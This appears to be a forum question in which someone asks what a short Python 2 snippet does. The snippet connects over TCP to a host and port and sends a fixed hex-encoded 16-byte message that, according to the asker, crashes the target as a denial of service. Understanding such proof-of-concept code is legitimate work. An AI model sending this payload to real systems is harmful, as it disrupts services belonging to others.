Hello, I would like to understand what this code does, please.
I understood that it opens a connection with a machine by creating a socket in which it will use an ip and port then it will send a message to this machine. But what I do not understand is msg. This message includes a value that will be decoded in hex but why this message will block. In other words, this message will create a denial of service a DOS on the machine.

# socket setup
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
msg = "00000000000a005a002800300000ff00".decode('hex')
s.send(msg)
s.close()
